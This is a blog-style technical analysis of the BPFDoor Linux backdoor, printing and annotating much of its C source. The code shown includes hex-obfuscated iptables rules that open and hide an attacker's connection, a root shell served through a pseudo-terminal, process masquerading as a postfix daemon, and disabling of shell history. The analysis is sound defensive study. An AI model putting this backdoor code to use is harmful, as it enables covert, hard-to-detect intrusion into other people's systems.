Go Back

Understanding BPFDoor’s Reverse Shell and Masquerading Techniques

Executive Summary

BPFDoor is a malware designed to monitor network traffics on (Linux-based) target machine for APT attacks. In this article, I aim to understand how the malware effectively hides itself while achieving a shell using a naive version of BPFDoor malware. Note that there are a lot of variant versions.

Attack Scenario

┌────────────────────┐
│     Attacker       │
│  (Remote system)   │
└────────┬───────────┘
         │
         │ [1] Exploits system vulnerability
         ▼
┌─────────────────────────────┐
│    Victim Linux Machine     │
│ (Gains root via exploit)    │
└────────────┬────────────────┘
             │
             │ [2] Writes BPFDoor to /dev/shm/kdmtmpflush
             ▼
     ┌────────────────────┐
     │   BPFDoor binary   │
     │  (Runs as root)    │
     └────────┬───────────┘
              │
              │ [3] Opens raw PF_PACKET socket
              │ [4] Installs BPF filter to capture magic packet
              ▼
   ┌────────────────────────────────────┐
   │   Packet sniffer (stealth mode)    │
   │   - Captures only specific         │
   │     TCP/UDP/ICMP packets           │
   └────────┬──────────────────────-────┘
            │
            │ [5] Attacker sends "magic packet"
            ▼
   ┌─────────────────────────────────────────────┐
   │     Magic packet matched?                   │
   │   If Yes → RC4 decrypt + passphrase check   │
   └────┬────────────────────────────────────────┘
        │
        │ [6] Forks child process
        ▼
 ┌───────────────────────────────────────┐
 │  Reverse shell setup with pseudo-TTY  │
 │  - Uses /dev/ptmx, sets TTY flags     │
 │  - Launches /bin/sh shell             │
 └────────┬────────────────────────────-─┘
          │
          │ [7] Optional iptables redirection
          ▼
  ┌──────────────────────────────────────────────────────────────┐
  │            Full interactive root shell via socket            │
  │   - Encrypted via RC4                                        │
  │   - PTY ↔ socket data bridge (invisible, encrypted)          │
  └──────────────────────────────────────────────────────────────┘

Creating Interactive Shell

Overview

At high-level, packet_loop() calls getshell() and getshell() calls shell() to obtain an interactive /bin/sh.

  1. Calls getshell() to make TCP connection for a reverse shell
  2. Calls shell() to create a pseudoterminal, execute /bin/sh and relaying traffics between socket and a shell.

Communication Flow

[ Attacker ] ← socket → [ BPFDoor ]
                            ↓
                       [ master PTY ] ↔ [ slave PTY (/dev/pts/N) ]
                                            	    ↓
                                         [ dup2 to stdin/out/err ]
                                                    ↓
                                               [ /bin/sh ]

In Depth Code Inspection

getshell(char *ip, int fromport) analysis
	char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
        char cmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char rcmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char inputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
        char dinputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
			0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT

The function prepares shell commands to modify iptables.

The use of redirection effectively hides TCP connection process. An attacker can choose a hidden (ephemeral) port as a toport and connects to a visible/familiar port such as 443 (fromport) so that the connection looks normal. Better than directly binding to the hidden port (Not so visible by netstat and ss).

    snprintf(cmd, sizeof(cmd), inputfmt, ip); // Construct cmd from inputfmt
    snprintf(dcmd, sizeof(dcmd), dinputfmt, ip); // Construct dcmd from dinputfmt
    system(cmd); // Add allow rule to accept attacker's traffic
    sleep(1); // Wait briefly for the rule to take effect
    memset(cmd, 0, sizeof(cmd));
    snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); // Construct cmd from cmdfmt
    snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport); // Construct rcmd from rcmdfmt
    system(cmd); // Add redirection rule
    sleep(1); // Wait briefly for the rule to take effect
    sockfd = b(&toport); // Function 'b' assigns a random ephemeral port and returns a socket
    if (sockfd == -1) return;

Details of the function b():

int b(int *p)
{
        int port;
        struct sockaddr_in my_addr;
        int sock_fd;
        int flag = 1;
 
        if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
                return -1;
        }
 
        setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_addr.s_addr = 0;
 
        for (port = 42391; port < 43391; port++) {
                my_addr.sin_port = htons(port);
                if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
                        continue;
                }
                if( listen(sock_fd,1) == 0 ) {
                        *p = port;
                        return sock_fd;
                }
                close(sock_fd);
        }
        return -1;
}
    sock = w(sockfd); // Calls listen() + accept()
    if (sock < 0) {
        close(sock);
        return;
    }
		

Details of the function w():

int w(int sock)
{
        socklen_t size;
        struct sockaddr_in remote_addr;
        int sock_id;
 
        size = sizeof(struct sockaddr_in);
        if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
                return -1;
        }
 
        close(sock);
        return sock_id;
 
}
    shell(sock, rcmd, dcmd);

After a successful TCP connection, it calls shell() to launch pseudoterminal shell and removes firewall rules by passing rcmd and dcmd parameters. The details of shell() function is described below.

● Create PTM/PTS pair
int open_tty()
{
        char pts_name[20];
 
        pty = ptym_open(pts_name);
 
        tty = ptys_open(pty,pts_name);
 
        if (pty >= 0 && tty >=0 )
                return 1;
        return 0;
}

Opens an interactive pseudoterminal to provide a remote shell to the attacker. Unlike a simple pipe, a PTY offers an interactive interface for job control.

int ptym_open(char *pts_name)
{
        char *ptr;
        int fd;
 
        strcpy(pts_name,"/dev/ptmx");
        if ((fd = open(pts_name,O_RDWR)) < 0) {
                return -1;
        } // Opening /dev/ptmx, it creates a PTM/PTS pair and gets a file descriptor for a PTM, and PTS device is created (/dev/pts/N).
 
        if (grantpt(fd) < 0) {
                close(fd);
                return -2;
        } // Grants access to PTS device.
 
        if (unlockpt(fd) < 0) {
                close(fd);
                return -3;
        } // Unlocks PTS device.
 
        if ((ptr = ptsname(fd)) == NULL) {
                close(fd);
                return -4;
        }
 
        strcpy(pts_name,ptr); // Store PTS device path as pts_name for future use.
 
        return fd;
}
int ptys_open(int fd,char *pts_name)
{
        int fds;
 
        if ((fds = open(pts_name,O_RDWR)) < 0) {
                close(fd);
                return -5;
        } // Opening PTS device.
 
 
        if (ioctl(fds,I_PUSH,"ptem") < 0) {
                return fds;
        } // Push ptem(pseudoterminal emulation module) to PTS.
 
        if (ioctl(fds,I_PUSH,"ldterm") < 0) {
        return fds;
        } // Push ldterm(line discipline module) to PTS.
 
        if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
                return fds;
        } // Push ttcompat to PTS to provide compatibility with BSD-based terminal.
 
        return fds;
}
shell(int sock, char *rcmd, char *dcmd) function analysis
	subshell = fork(); // Create a childe process.
        if (subshell == 0) {
                close(pty); // Close the master pty. (Not needed since it only deals with I/O).
                ioctl(tty, TIOCSCTTY); // Make the slave pty as a controlling terminal. Now it can transmit signals (e.g. SIGINT, SINTERM, SIGSTP, etc.)
                close(sock); // No need for a child process to have sock opened.  
                dup2(tty, 0); // Set PTS to stdin
                dup2(tty, 1); // Set PTS to stdout
                dup2(tty, 2);// Set PTS to stderr
                close(tty); // Not needed since PTS fd is copied to std I/O fds.
                execve(sh, argvv, envp);
        }

execve() runs the shell (/bin/sh) with its stdio attached to the PTS. The details of sh, argvv and envp are given below:

	char argx[] = {
                0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
                0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
        char *argvv[] = {argx, NULL, NULL};

        #define MAXENV 256
	#define ENVLEN 256
        char *envp[MAXENV];
        char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
        char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
        char ps[] = {
                0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
                0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$ 
        char histfile[] = {
                0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
                0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
        char mshist[] = {
                0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
                0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
                0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
        char ipath[] = {
                0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
                0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
                0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
                0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
                0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
                0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
                0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
        char term[] = "vt100";
 
        envp[0] = home;
        envp[1] = ps;
        envp[2] = histfile;
        envp[3] = mshist;
        envp[4] = ipath;
        envp[5] = term;
	envp[6] = NULL;

We note that shell's argv is set to qmgr -l -t fifo -u which is a process associated with mail(postfix) daemon. Moreover, the environment variables are set in a way that it effectively fakes the victim.

Thus, the shell is disguised to evade detection in both process listing and terminal behavior.

	if (rcmd != NULL)
                system(rcmd);
        if (dcmd != NULL)
                system(dcmd);

Executes commands rcmd and dcmd - inputs as shell() parameters.

So, they delete the rules temporarilly added by getshell() and no suspicious rules can be found by iptables -L.
NOTE: No allowing rule is needed now since TCP connection is already made(ESTABLISHED) via TCP socket(w(sockfd)) during getshell() call.

	while (1) {
                FD_ZERO(&fds); // Clears the set of fds for select()
                FD_SET(pty, &fds); // To monitor PTM (shell's I/O stream)
                FD_SET(sock, &fds); // To monitor attacker's socket
                if (select((pty > sock) ? (pty+1) : (sock+1),
                        &fds, NULL, NULL, NULL) < 0)
                {
                        break;
                } // Wait for I/O Activity (until either PTM or socket becomes readable); break on error
                if (FD_ISSET(pty, &fds)) {
                        int count;
                        count = read(pty, buf, BUF);
                        if (count <= 0) break;
                        if (cwrite(sock, buf, count) <= 0) break; // Also considers ==0 for shell closed
                } // Once PTM is readable, read bytes(count) from the shell’s output
		  // cwrite() encrypt the data with RC4
                if (FD_ISSET(sock, &fds)) {
                        int count;
                        unsigned char *p, *d;
                        d = (unsigned char *)buf;
                        count = cread(sock, buf, BUF);
                        if (count <= 0) break;
		     // cread() read data (encrypted RC4) from an attacker
 
                        p = memchr(buf, ECHAR, count); 
			// Finds ECHAR(0x0b), a vertical tab from attacker’s input
			// ECHAR acts as a signal marker
                        if (p) {
				// Resize terminal 
				// Terminal size arguments are given by 4 bytes after ECHAR
                                unsigned char wb[5];
                                int rlen = count - ((long) p - (long) buf);
                                struct winsize ws;
 
                                if (rlen > 5) rlen = 5;
                                memcpy(wb, p, rlen);
                                if (rlen < 5) {
                                        ret = cread(sock, &wb[rlen], 5 - rlen);
                                }
 
                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (wb[1] << 8) + wb[2];
                                ws.ws_row = (wb[3] << 8) + wb[4];
                                ioctl(pty, TIOCSWINSZ, &ws);
                                kill(0, SIGWINCH);
 				
				// Write to PTM an attacker’s input before and after(+5 bytes) ECHAR
				// Allows an attacker to send resize info with commands in one stream
                                ret = write(pty, buf, (long) p - (long) buf);
                                rlen = ((long) buf + count) - ((long)p+5);
                                if (rlen > 0) ret = write(pty, p+5, rlen);
                        } else
                                if (write(pty, d, count) <= 0) break;
                }
        }

We note that if any side of connection closes, it closes descriptors, kills subshell and calls vhangup() to remove terminal association as noted in the part of shell() function:

	close(sock);
        close(pty);
        waitpid(subshell, NULL, 0);
        vhangup();
	exit(0);